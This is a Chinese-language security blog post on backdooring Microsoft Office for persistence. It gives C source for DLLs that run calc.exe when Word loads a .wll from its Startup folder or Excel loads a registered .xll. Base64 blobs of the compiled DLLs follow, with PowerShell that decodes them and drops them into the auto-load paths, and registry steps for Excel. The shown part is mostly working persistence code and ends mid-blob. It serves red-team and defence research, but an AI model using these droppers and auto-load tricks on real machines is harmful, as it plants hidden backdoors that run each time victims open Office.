Use Office to maintain persistence

0x00 前言

对于Windows平台，Microsoft Office的普及率很高。站在攻击者的角度，通常会选择在Office软件中植入后门。

我在一篇博客上看到了Office后门的多种利用方法，我对其进行了研究测试，挑选其中较为通用、隐蔽的方式，编写POC脚本实现自动利用。

博客地址：

https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/

作者： William Knowles@william_knows

POC：

https://github.com/3gstudent/Office-Persistence

0x01 简介

本文将要介绍以下内容：

  • 针对Word、Excel、PowerPoint的四种后门利用方法
  • 编写Powershell脚本实现自动利用
  • 比较优缺点，分析防御方法

0x02 Word WLL

1、手动测试

开发工具：VC6.0

新建dll工程，代码如下：

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			MessageBox(NULL,"hello world，I'm 3kb","title",MB_OK);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

编译成msg.dll，作如下设置减小编译文件体积：

  • Build：release
  • 添加代码：#pragma comment(linker,”/OPT:nowin98”)
  • 工程设置->Win32 Release->C/C++->Code Generation->Use run-time library:->Multithreaded DLL

经过优化，dll大小为3kb

重命名为msg.wll，保存路径如下：

C:\Users\a\AppData\Roaming\Microsoft\Word\Startup

启动Word.exe，弹框，界面卡住，Word无法正常执行；关闭弹出的对话框后，Word正常启动

如下图

Alt text

注：

通过Metasploit的msfvenom生成的dll，会导致Word程序崩溃

修改c代码，实现启动计算器，代码如下：

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			WinExec("calc.exe",SW_SHOWNORMAL);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

编译成calc.dll，优化后大小为3kb

重命名为calc.wll，保存在路径C:\Users\a\AppData\Roaming\Microsoft\Word\Startup

启动Word.exe，弹出计算器，并且word正常启动

如下图

Alt text

注：

Startup路径可保存多个wll，支持启动多个wll

2、编写Powershell脚本实现

wll路径对应的powershell代码如下：

$env:APPDATA+"\Microsoft\Word\Startup\calc.wll"

将编译好的3kb大小的calc.dll作base64加密并存储于变量中：

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")

得到

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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

用变量$fileContent存储base64加密的calc.dll

base64解密并释放calc.wll至Startup路径的代码如下：

$fileContent = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$fileContentBytes = [System.Convert]::FromBase64String($fileContent) 
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)

以上代码运行后，在C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\生成calc.wll，启动word.exe时,弹出计算器

0x03 Excel XLL

1、手动测试

新建dll工程，添加导出函数xlAutoOpen，具体代码如下：

void xlAutoOpen()
{
    WinExec("calc.exe",SW_SHOWNORMAL);
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }
    return TRUE;
}

添加文件，设置类型：Text File

名称：工程同名文件.def

写入：

EXPORTS
xlAutoOpen

编译成calc2.dll，导出函数为xlAutoOpen()，优化后大小为3kb

重命名为calc.xll，保存路径如下：

%appdata%\Microsoft\AddIns

查找注册表键值：

Office2010对应的键值为：

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options

Office2013对应的键值为：

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options

新建字符串值： OPEN： /R calc.xll

启动Excel.exe，弹出计算器，并且Excel正常启动

2、编写Powershell脚本实现

同上，calc2.dll作base64加密并存储于变量中：

$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')
$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcxllbase64.txt")

得到

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ZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

用变量$fileContent存储base64加密的calc.xll

根据.xll文件的释放路径，base64解密并生成calc.xll的代码如下：

$fileContent = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAA